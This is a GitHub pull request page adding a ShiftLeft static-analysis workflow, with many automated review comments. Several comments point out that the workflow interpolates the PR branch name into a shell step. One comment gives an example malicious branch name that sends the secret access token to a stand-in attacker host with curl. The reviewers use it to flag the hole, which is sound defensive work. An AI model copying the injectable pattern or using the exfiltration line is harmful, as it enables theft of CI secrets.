Add GitHub Action: Qwiet AI by Harness Static Analysis - #36
Conversation
💡 TipWant to run additional checks on this PR?
|
|
Review changes with |
|
Seems you are using me but didn't get OPENAI_API_KEY seted in Variables/Secrets for this repo. you could follow readme for more information |
|
The latest updates on your projects. Learn more about Vercel for GitHub.
|
|
Rams skipped this PR — Free reviews one repository at a time, and your active repository is Upgrade to Solo — $39/mo to add this repo, or free the slot by removing Rams from that repo via GitHub app settings. |
|
Caution The consumer version of Gemini Code Assist on GitHub has been sunset. All code review activity has officially ceased. |
|
View changes in DiffLens |
|
🤖 Review complete! 🤖 Reviewed by codereviewbot.ai - Catch bugs before your team does. |
🤖 CodeAnt AI — Review Status
|
Thanks for using CodeAnt! 🎉We're free for open-source projects. if you're enjoying it, help us grow by sharing. Share on X · |
|
🧙 Sourcery is reviewing your pull request! Tips and commandsInteracting with Sourcery
Customizing Your ExperienceAccess your dashboard to:
Getting Help
|
PR Summary
Impact
Flow Diagram |
❌ Deploy Preview for larme failed.
|
|
View changes in DiffLens |
📝 WalkthroughSummary by CodeRabbit
WalkthroughAdds ShiftLeft build rules and a GitHub Actions workflow that runs strict SAST and SCA analysis for pull requests and manual dispatches. ChangesShiftLeft security analysis
Sequence Diagram(s)sequenceDiagram
participant GitHubActions
participant ShiftLeftCLI
participant ShiftLeftService
GitHubActions->>GitHubActions: Checkout repository and install Java 8
GitHubActions->>ShiftLeftCLI: Download and run sl analyze
ShiftLeftCLI->>ShiftLeftService: Submit AirMerge analysis with branch tag
ShiftLeftService-->>ShiftLeftCLI: Return analysis result
ShiftLeftCLI-->>GitHubActions: Enforce strict analysis status
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches🧪 Generate unit tests (beta)
✨ Simplify code
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
PR Summary
|
Vulnerable Libraries (3)
More info on how to fix Vulnerable Libraries in JavaScript. 👉 Go to the dashboard for detailed results. 📥 Happy? Share your feedback with us. |
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 | ||
| with: | ||
| distribution: zulu | ||
| java-version: 8 | ||
|
|
||
| - name: Download Harness SAST and SCA CLI | ||
| run: | | ||
| curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
|
|
||
| - name: Static Analysis | ||
| run: | | ||
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app AirMerge \ | ||
| --tag branch=${{ github.head_ref }} \ | ||
| --js $(pwd) -- --ts | ||
| env: | ||
| SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }} | ||
| SHIFTLEFT_API_HOST: www.shiftleft.io | ||
| SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
|
|
||
| # Build-Rules: | ||
| # runs-on: ubuntu-latest | ||
| # permissions: write-all | ||
| # needs: NextGen-Static-Analysis | ||
| # steps: | ||
| # - uses: actions/checkout@v3 | ||
| # - name: Download Harness SAST and SCA CLI | ||
| # run: | | ||
| # curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
| # - name: Validate Build Rules | ||
| # run: | | ||
| # ${GITHUB_WORKSPACE}/sl check-analysis --app AirMerge \ | ||
| # --github-pr-number=${{github.event.number}} \ | ||
| # --github-pr-user=${{ github.repository_owner }} \ | ||
| # --github-pr-repo=${{ github.event.repository.name }} \ | ||
| # --github-token=${{ secrets.GITHUB_TOKEN }} | ||
| # env: | ||
| # # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }} | ||
| # | ||
| # SHIFTLEFT_API_HOST: www.shiftleft.io | ||
| # SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| # SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
| # |
|
Deploying with
|
| Status | Name | Latest Commit | Updated (UTC) |
|---|---|---|---|
| ❌ Deployment failed View logs |
airmerge | 2a53a81 | Jul 26 2026, 07:25 AM |
|
View changes in DiffLens |
❌ 6 blocking issues (6 total)
|
![qltysh[bot]](https://avatars.githubusercontent.com/in/890766?s=60&v=4){kind=small}
| # SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
| # | ||
|
|
||
|
|
| NextGen-Static-Analysis: | ||
| runs-on: ubuntu-latest | ||
| steps: | ||
| - uses: actions/checkout@v3 |
| steps: | ||
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 |
| curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
|
|
||
| - name: Static Analysis | ||
| run: | |
There was a problem hiding this comment.
"github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs\.github\.com/en/actions/reference/security/secure\-use\#good\-practices\-for\-mitigating\-script\-injection\-attacks for more details [actionlint:expression]
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app AirMerge \ | ||
| --tag branch=${{ github.head_ref }} \ |
Not up to standards ⛔🔴 Issues
|
| Category | Results |
|---|---|
| ErrorProne | 1 medium |
| Security | 2 critical |
NEW Get contextual insights on your PRs based on Codacy's metrics, along with PR and Jira context, without leaving GitHub. Enable AI reviewer
TIP This summary will be updated as you push new changes.
|
View changes in DiffLens |
![sentry[bot]](https://avatars.githubusercontent.com/in/12637?s=60&v=4){kind=small}
| # Build-Rules: | ||
| # runs-on: ubuntu-latest | ||
| # permissions: write-all | ||
| # needs: NextGen-Static-Analysis | ||
| # steps: | ||
| # - uses: actions/checkout@v3 | ||
| # - name: Download Harness SAST and SCA CLI | ||
| # run: | | ||
| # curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
| # - name: Validate Build Rules |
There was a problem hiding this comment.
Bug: The security enforcement job Build-Rules in the shiftleft.yml workflow is commented out, disabling the security gate that should block pull requests with vulnerabilities.
Severity: CRITICAL
Suggested Fix
Uncomment the Build-Rules job (lines 38-47) in the .github/workflows/shiftleft.yml file to re-enable the sl check-analysis command. This will enforce the defined security rules and block pull requests that introduce new vulnerabilities.
Prompt for AI Agent
Review the code at the location below. A potential bug has been identified by an AI
agent. Verify if this is a real issue. If it is, propose a fix; if not, explain why it's
not valid.
Location: .github/workflows/shiftleft.yml#L38-L47
Potential issue: The `Build-Rules` job in the `.github/workflows/shiftleft.yml` file,
which is responsible for enforcing security policies by running `sl check-analysis`, is
entirely commented out. While the `NextGen-Static-Analysis` job runs `sl analyze` and
uploads scan results, the enforcement step that would block pull requests based on the
defined security rules is never executed. This effectively disables the security gate,
allowing pull requests with vulnerabilities, including critical ones, to be merged
without being blocked.
Did we get this right? 👍 / 👎 to inform future reviews.
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/shiftleft.yml:
- Around line 14-16: Update the actions/checkout and actions/setup-java steps in
the workflow to supported major releases, replacing the mutable version tags
with their corresponding full immutable commit SHAs. Preserve the existing
checkout and Java setup behavior while ensuring both action references use
supported Node-backed releases.
- Around line 38-59: Uncomment and enable the Build-Rules workflow job alongside
the existing analysis job, ensuring it depends on NextGen-Static-Analysis and
invokes sl check-analysis for the analyzed branch or tag. Preserve the required
checkout, CLI download, ShiftLeft environment settings, repository/owner
context, and GitHub token so the checked-in version: 2 rules are evaluated.
- Line 30: Update the ShiftLeft workflow step containing the branch tag so the
attacker-controlled github.head_ref value is passed through GitHub Actions
environment or action input handling rather than interpolated directly into the
Bash script; also provide a safe fallback for workflow_dispatch when no
pull-request branch exists, while preserving the intended branch tag.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro Plus
Run ID: a4233b82-07c2-4f35-9607-4668087e995c
📒 Files selected for processing (2)
.github/workflows/shiftleft.ymlshiftleft.yml
📜 Review details
⏰ Context from checks skipped due to timeout. (15)
- GitHub Check: CodeQL
- GitHub Check: semgrep-cloud-platform/scan
- GitHub Check: Redirect rules - larme
- GitHub Check: Header rules - larme
- GitHub Check: Pages changed - larme
- GitHub Check: cubic · AI code reviewer
- GitHub Check: Seer Code Review
- GitHub Check: Sourcery review
- GitHub Check: guardrails/scan
- GitHub Check: Codacy Static Code Analysis
- GitHub Check: gitStream.cm
- GitHub Check: SonarQube
- GitHub Check: Kilo Code Review
- GitHub Check: Analyze (actions)
- GitHub Check: Analyze (javascript-typescript)
⚠️ CI failures not shown inline (1)
Commit Status: pre-commit.ci - pr: pre-commit.ci - pr
Conclusion: failure
error during ci config
🧰 Additional context used
🪛 actionlint (1.7.12)
.github/workflows/shiftleft.yml
[error] 14-14: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue
(action)
[error] 16-16: the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue
(action)
[error] 26-26: "github.head_ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🪛 YAMLlint (1.37.1)
.github/workflows/shiftleft.yml
[warning] 6-6: truthy value should be one of [false, true]
(truthy)
[error] 62-62: too many blank lines (2 > 0)
(empty-lines)
🪛 zizmor (1.26.1)
.github/workflows/shiftleft.yml
[warning] 14-14: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
[error] 30-30: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
[error] 14-14: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
[error] 16-16: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
[info] 11-11: workflow or action definition without a name (anonymous-definition): this job
(anonymous-definition)
[warning] 6-8: insufficient job-level concurrency limits (concurrency-limits): workflow is missing concurrency setting
(concurrency-limits)
🔇 Additional comments (1)
shiftleft.yml (1)
1-15: LGTM!
| - uses: actions/checkout@v3 | ||
| - name: Setup Java JDK v8 | ||
| uses: actions/setup-java@v3 |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
for ref in actions/checkout@v6 actions/setup-java@v5; do
repo="${ref%@*}"
tag="${ref#*@}"
object="$(gh api "repos/${repo}/git/ref/tags/${tag}")"
sha="$(jq -r '.object.sha' <<<"$object")"
if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
fi
printf '%s@%s\n' "$repo" "$sha"
doneRepository: LCSOGthb/AirMerge
Length of output: 273
🏁 Script executed:
#!/usr/bin/env bash
set -euo pipefail
echo "Workflow lines 1-70:"
sed -n '1,70p' .github/workflows/shiftleft.yml
echo
echo "All action pins in workflow:"
rg -n 'uses:\s*[^#]+' .github/workflows/shiftleft.yml || true
echo
echo "Resolve current pins:"
for ref in actions/checkout@v3 actions/setup-java@v3; do
repo="${ref%@*}"
tag="${ref#*@}"
object="$(gh api "repos/${repo}/git/ref/tags/${tag}" 2>/dev/null || true)"
if [ -z "$object" ]; then
echo "$ref: ref not found"
continue
fi
sha="$(jq -r '.object.sha' <<<"$object")"
if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
fi
printf '%s -> %s\n' "$ref" "$sha"
done
echo
echo "Latest major refs (if present):"
for repo in actions/checkout actions/setup-java; do
for tag in v3 v4 v5 v6; do
object="$(gh api "repos/${repo}/git/ref/tags/${tag}" 2>/dev/null || true)"
if [ -n "$object" ]; then
sha="$(jq -r '.object.sha' <<<"$object")"
if [[ "$(jq -r '.object.type' <<<"$object")" == "tag" ]]; then
sha="$(gh api "repos/${repo}/git/tags/${sha}" --jq '.object.sha')"
fi
printf '%s@%s -> %s\n' "$repo" "$tag" "$sha"
else
printf '%s@%s: not found\n' "$repo" "$tag"
fi
done
doneRepository: LCSOGthb/AirMerge
Length of output: 3021
🌐 Web query:
GitHub Actions runner support actions checkout v3 v4 actions setup-java v3 v4 deprecated
💡 Result:
The actions actions/checkout@v3 and actions/setup-java@v3 are effectively deprecated because they rely on older Node.js runtimes (typically Node.js 16), which are no longer supported by GitHub Actions [1]. GitHub has migrated official actions to newer Node.js versions (Node.js 20 or Node.js 24) to comply with runtime deprecation policies [2][3][1]. Key details for your upgrade: 1. actions/checkout: You should upgrade to actions/checkout@v4 [4][1]. Version 4 is the current stable major version, which utilizes updated Node.js runtimes and includes various improvements [5][6]. 2. actions/setup-java: Version 3 is deprecated due to its reliance on Node.js 16 [1]. You should migrate to the latest major version (currently v5 or later) [2][3]. Note that newer versions like v5 and v6 include breaking changes, such as upgrades to the underlying Node.js runtime and adjustments to input names for environment variables [2][3]. It is recommended to check the official repository release notes for both actions to ensure you account for any breaking changes introduced between your current versions and the latest versions [7][2][3].
Citations:
- 1: https://stackoverflow.com/questions/77897660/github-actions-node-js-16-actions-are-deprecated-warning
- 2: https://github.com/actions/setup-java
- 3: https://github.com/actions/setup-java/blob/main/README.md
- 4: [Github Actions] actions/checkout@v3 should be upgraded to v4 freshframework/fresh#2285
- 5: https://github.com/actions/checkout
- 6: https://github.com/actions/checkout/blob/v4/README.md
- 7: https://github.com/actions/checkout/blob/v4/CHANGELOG.md
Pin supported action releases to immutable SHAs.
actions/checkout@v3 and actions/setup-java@v3 still resolve to Node 16-backed actions; migration to supported majors and pinning the full commit SHAs keeps this workflow from depending on deprecated mutable tags.
🧰 Tools
🪛 actionlint (1.7.12)
[error] 14-14: the runner of "actions/checkout@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue
(action)
[error] 16-16: the runner of "actions/setup-java@v3" action is too old to run on GitHub Actions. update the action's version to fix this issue
(action)
🪛 zizmor (1.26.1)
[warning] 14-14: credential persistence through GitHub Actions artifacts (artipacked): does not set persist-credentials: false
(artipacked)
[error] 14-14: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
[error] 16-16: unpinned action reference (unpinned-uses): action is not pinned to a hash (required by blanket policy)
(unpinned-uses)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/shiftleft.yml around lines 14 - 16, Update the
actions/checkout and actions/setup-java steps in the workflow to supported major
releases, replacing the mutable version tags with their corresponding full
immutable commit SHAs. Preserve the existing checkout and Java setup behavior
while ensuring both action references use supported Node-backed releases.
Source: Linters/SAST tools
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app AirMerge \ | ||
| --tag branch=${{ github.head_ref }} \ |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Do not interpolate the PR branch name into Bash.
github.head_ref is attacker-controlled and is substituted before the shell runs, allowing a crafted branch name to execute commands in this token-bearing step. It is also unavailable for workflow_dispatch, producing an empty branch tag. (docs.github.com)
Proposed fix
jobs:
NextGen-Static-Analysis:
runs-on: ubuntu-latest
+ env:
+ PR_BRANCH: ${{ github.head_ref || github.ref_name }}
steps:
...
- --tag branch=${{ github.head_ref }} \
+ --tag "branch=$PR_BRANCH" \📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| --tag branch=${{ github.head_ref }} \ | |
| --tag "branch=$PR_BRANCH" \ |
🧰 Tools
🪛 zizmor (1.26.1)
[error] 30-30: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/shiftleft.yml at line 30, Update the ShiftLeft workflow
step containing the branch tag so the attacker-controlled github.head_ref value
is passed through GitHub Actions environment or action input handling rather
than interpolated directly into the Bash script; also provide a safe fallback
for workflow_dispatch when no pull-request branch exists, while preserving the
intended branch tag.
Source: Linters/SAST tools
| # Build-Rules: | ||
| # runs-on: ubuntu-latest | ||
| # permissions: write-all | ||
| # needs: NextGen-Static-Analysis | ||
| # steps: | ||
| # - uses: actions/checkout@v3 | ||
| # - name: Download Harness SAST and SCA CLI | ||
| # run: | | ||
| # curl https://cdn.shiftleft.io/download/sl > ${GITHUB_WORKSPACE}/sl && chmod a+rx ${GITHUB_WORKSPACE}/sl | ||
| # - name: Validate Build Rules | ||
| # run: | | ||
| # ${GITHUB_WORKSPACE}/sl check-analysis --app AirMerge \ | ||
| # --github-pr-number=${{github.event.number}} \ | ||
| # --github-pr-user=${{ github.repository_owner }} \ | ||
| # --github-pr-repo=${{ github.event.repository.name }} \ | ||
| # --github-token=${{ secrets.GITHUB_TOKEN }} | ||
| # env: | ||
| # # SHIFTLEFT_ACCESS_TOKEN: ${{ secrets.SHIFTLEFT_ACCESS_TOKEN }} | ||
| # | ||
| # SHIFTLEFT_API_HOST: www.shiftleft.io | ||
| # SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| # SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== files =="
git ls-files | sed -n '1,200p'
echo "== workflow snippets =="
if [ -f .github/workflows/shiftleft.yml ]; then
nl -ba .github/workflows/shiftleft.yml | sed -n '1,140p'
else
echo "missing .github/workflows/shiftleft.yml"
fi
echo "== searches for sl and check-analysis/analyze/build rules =="
rg -n "sl|check-analysis|build-analysis|analyze --strict|Build-Rules|build rules|shiftleft" .github . 2>/dev/null | sed -n '1,220p'
echo "== diff/stat =="
git diff --stat 2>/dev/null || true
git diff -- .github/workflows/shiftleft.yml 2>/dev/null | sed -n '1,220p' || trueRepository: LCSOGthb/AirMerge
Length of output: 1017
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "== .github/workflows/shiftleft.yml =="
awk '{printf "%6d\t%s\n", NR, $0}' .github/workflows/shiftleft.yml
echo "== root shiftleft.yml =="
awk '{printf "%6d\t%s\n", NR, $0}' shiftleft.yml 2>/dev/null || echo "missing root shiftleft.yml"
echo "== shiftleft references =="
rg -n "shiftleft|Build-Rules|check-analysis|analyze --strict|sl " --glob '!node_modules/**' --glob '!*.lock' . | sed -n '1,240p'Repository: LCSOGthb/AirMerge
Length of output: 3142
🌐 Web query:
ShiftLeft ng-scan analyze --strict check-analysis Build-Rules
💡 Result:
There is no single command called ShiftLeft ng-scan analyze --strict check-analysis Build-Rules. The query appears to conflate distinct commands and flags from the Qwiet AI (formerly ShiftLeft) CLI toolset [1][2][3]. The correct workflow for analyzing code and checking it against build rules involves separate commands. 1. Analysis: To perform a code analysis, use the sl analyze command [1][3]. The --strict flag can be added here to ensure that failures or timeouts cause the CLI to return an error code, which is recommended for CI/CD pipelines [1][3]. Example: sl analyze --app --strict 2. Checking Build Rules: To compare analysis results against defined build rules, use the sl check-analysis (specifically v2) command [2][4]. This command requires a configuration file (default is shiftleft.yml) that defines your build rules [5][2]. Example: sl check-analysis --v2 --app --config shiftleft.yml If you are instead referring to the open-source sast-scan tool (often associated with the command scan), its usage differs and typically involves a docker run command such as docker run --rm -e "WORKSPACE=${PWD}" -v "$PWD:/app" shiftleft/scan scan --build [6][7][8]. In summary, ensure you are using the Qwiet CLI (sl) for the analyze and check-analysis commands, and verify that your build rules are properly defined in a YAML configuration file [5][2][3].
Citations:
- 1: https://docs.shiftleft.io/cli/reference/analyze
- 2: https://docs.shiftleft.io/cli/reference/check-analysis-v2
- 3: https://docs.shiftleft.io/cli/reference/overview
- 4: https://docs.shiftleft.io/cli/reference/check-analysis
- 5: https://docs.shiftleft.io/sast/build-rules-v2
- 6: https://github.com/ShiftLeftSecurity/scan-docs/blob/master/docs/getting-started/README.md
- 7: https://github.com/ShiftLeftSecurity/sast-scan/
- 8: https://github.com/ShiftLeftSecurity/sast-scan/blob/master/README.md
🌐 Web query:
Qwiet shiftleft sl check-analysis v2 config syntax --target tag.branch
💡 Result:
The command sl check-analysis --v2 --target tag.branch=<branch-name> is used in Qwiet AI to compare analysis results against defined build rules for a specific branch [1][2]. Key details regarding this syntax: 1. Command Structure: The --v2 flag explicitly invokes the build rules v2 engine [1][3]. When your configuration file specifies version: 2, the --v2 flag is optional as it becomes the default [2]. 2. Target Specification: The --target flag identifies the scan or branch you want to evaluate [4][1]. Using the prefix tag.branch= allows you to specify a branch by name (e.g., tag.branch=main or tag.branch=pr-feature-1) [1][2]. 3. Practical Usage: - To check findings against the latest scan of a branch: sl check-analysis --v2 --app <AppName> --target tag.branch=<branch-name> [1] - To compare a new scan (target) against a previous baseline (source): sl check-analysis --v2 --app <AppName> --source scan.previous --target tag.branch=<branch-name> [1] For more complex scenarios, such as ensuring specific build rules are applied, ensure you provide the --config flag if your configuration file is not named shiftleft.yml (the default) [4][2].
Citations:
- 1: https://docs.shiftleft.io/cli/reference/check-analysis-v2
- 2: https://docs.shiftleft.io/sast/build-rules-v2
- 3: https://docs.shiftleft.io/sast/product-info/migrations
- 4: https://docs.shiftleft.io/cli/reference/check-analysis
Enable build-rule enforcement.
sl analyze --strict --wait only submits/runs the scan; the Build-Rules workflow and sl check-analysis invocation are fully commented out, so the version: 2 build rules in shiftleft.yml are never evaluated. Add a checked-in build-rules job that runs check-analysis against the analyzed branch/tag.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/shiftleft.yml around lines 38 - 59, Uncomment and enable
the Build-Rules workflow job alongside the existing analysis job, ensuring it
depends on NextGen-Static-Analysis and invokes sl check-analysis for the
analyzed branch or tag. Preserve the required checkout, CLI download, ShiftLeft
environment settings, repository/owner context, and GitHub token so the
checked-in version: 2 rules are evaluated.
 |
|
Overall Grade |
Security Reliability Complexity Hygiene |
Code Review Summary
| Analyzer | Status | Updated (UTC) | Details |
|---|---|---|---|
| Ruby |  |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Rust | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| JavaScript | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Scala | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Shell | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Secrets | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Terraform | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Swift | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| SQL | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Code coverage |  |
Jul 26, 2026 7:57a.m. | Review ↗ |
| C & C++ | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| C# | |
Jul 26, 2026 7:27a.m. | Review ↗ |
| Ansible | |
Jul 26, 2026 7:27a.m. | Review ↗ |
Important
AI Review is run only on demand for your team. We're only showing results of static analysis review right now. To trigger AI Review, comment @deepsourcebot review on this thread.
![cubic-dev-ai[bot]](https://avatars.githubusercontent.com/in/1082092?s=60&v=4){kind=small}
There was a problem hiding this comment.
6 issues found across 2 files
Confidence score: 2/5
- In
.github/workflows/shiftleft.yml, interpolating${{ github.head_ref }}directly into a shell script creates a command-injection path from attacker-controlled branch names, which could let a PR author execute arbitrary commands in CI and potentially exfiltrate secrets—pass the value via an env var and safely quote/sanitize it before use. - In
.github/workflows/shiftleft.yml, the commented-outBuild-Rulesjob means scan results are uploaded but not policy-gated, so critical findings can slip through without blocking merges—re-enable the rule-check step (sl check/equivalent) as a required gate. - In
.github/workflows/shiftleft.yml, the workflow inherits default token scopes becausepermissionsis not explicitly set, so a compromised step would have broader repo access than needed for a scan-only job—set least-privilegepermissionsat workflow or job scope. - In
.github/workflows/shiftleft.yml, staying onactions/setup-java@v3andactions/checkout@v3(Node 16 era) increases runner compatibility and maintenance risk, and the large commentedBuild-Rulesblock adds ambiguity about intended behavior—upgrade to@v4(prefer pinned SHAs) and remove dead commented workflow code.
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name=".github/workflows/shiftleft.yml">
<violation number="1" location=".github/workflows/shiftleft.yml:12">
P2: The workflow does not declare explicit `permissions`, inheriting the repository's default token scope. For a scan-only job that doesn't need to write to the repository, this grants unnecessarily broad access. Restrict permissions to the minimum required:
```yaml
permissions:
contents: read
```</violation>
<violation number="2" location=".github/workflows/shiftleft.yml:14">
P2: Update `actions/checkout` from `@v3` to `@v4` to match the repository's convention and avoid running CI on an EOL Node.js 16 runtime.</violation>
<violation number="3" location=".github/workflows/shiftleft.yml:16">
P2: `actions/setup-java@v3` uses the deprecated Node.js 16 runtime and may fail on current GitHub-hosted runners. Upgrade to `actions/setup-java@v4` (or later) and consider pinning to a full commit SHA for reproducibility.</violation>
<violation number="4" location=".github/workflows/shiftleft.yml:30">
P0: **Script injection vulnerability**: `github.head_ref` is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via `${{ }}` expression expansion *before* the shell runs. A malicious branch name like `foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN` would execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.
Additionally, `github.head_ref` is empty on `workflow_dispatch` events, producing an invalid `--tag branch=` argument.
Pass the value through an environment variable instead:
```yaml
env:
PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
--tag "branch=$PR_BRANCH" \
```</violation>
<violation number="5" location=".github/workflows/shiftleft.yml:38">
P1: The `Build-Rules` job is entirely commented out, so the security rules defined in `shiftleft.yml` (e.g., "Allow no critical findings") are never enforced. `sl analyze` submits the code for scanning, but without `sl check-analysis` the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.
If this is intentional for initial rollout, consider adding a comment explaining the plan and timeline to uncomment it. Otherwise, uncomment the `Build-Rules` job to activate the security gate.</violation>
<violation number="6" location=".github/workflows/shiftleft.yml:43">
P3: Remove the fully commented-out `Build-Rules` job block. Commented-out workflow code adds noise, confuses readers about whether the step is needed, and is better tracked in documentation or a separate PR if/when it is ready.</violation>
</file>
Shadow auto-approve: would not auto-approve because issues were found.
Re-trigger cubic
| ${GITHUB_WORKSPACE}/sl --version | ||
| ${GITHUB_WORKSPACE}/sl analyze --strict --wait \ | ||
| --app AirMerge \ | ||
| --tag branch=${{ github.head_ref }} \ |
There was a problem hiding this comment.
P0: Script injection vulnerability: github.head_ref is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via ${{ }} expression expansion before the shell runs. A malicious branch name like foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN would execute arbitrary commands with access to the SHIFTLEFT_ACCESS_TOKEN secret.
Additionally, github.head_ref is empty on workflow_dispatch events, producing an invalid --tag branch= argument.
Pass the value through an environment variable instead:
env:
PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
--tag "branch=$PR_BRANCH" \Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/shiftleft.yml, line 30:
<comment>**Script injection vulnerability**: `github.head_ref` is attacker-controlled (the PR author chooses the branch name) and is interpolated directly into the shell script via `${{ }}` expression expansion *before* the shell runs. A malicious branch name like `foo; curl attacker.com/exfil?t=$SHIFTLEFT_ACCESS_TOKEN` would execute arbitrary commands with access to the `SHIFTLEFT_ACCESS_TOKEN` secret.
Additionally, `github.head_ref` is empty on `workflow_dispatch` events, producing an invalid `--tag branch=` argument.
Pass the value through an environment variable instead:
```yaml
env:
PR_BRANCH: ${{ github.head_ref || github.ref_name }}
...
--tag "branch=$PR_BRANCH" \
```</comment>
<file context>
@@ -0,0 +1,62 @@
+ ${GITHUB_WORKSPACE}/sl --version
+ ${GITHUB_WORKSPACE}/sl analyze --strict --wait \
+ --app AirMerge \
+ --tag branch=${{ github.head_ref }} \
+ --js $(pwd) -- --ts
+ env:
</file context>
| SHIFTLEFT_GRPC_TELEMETRY_HOST: telemetry.shiftleft.io:443 | ||
| SHIFTLEFT_GRPC_API_HOST: api.shiftleft.io:443 | ||
|
|
||
| # Build-Rules: |
There was a problem hiding this comment.
P1: The Build-Rules job is entirely commented out, so the security rules defined in shiftleft.yml (e.g., "Allow no critical findings") are never enforced. sl analyze submits the code for scanning, but without sl check-analysis the workflow will never fail a PR for discovered vulnerabilities — effectively making this a scan-only workflow with no enforcement gate.
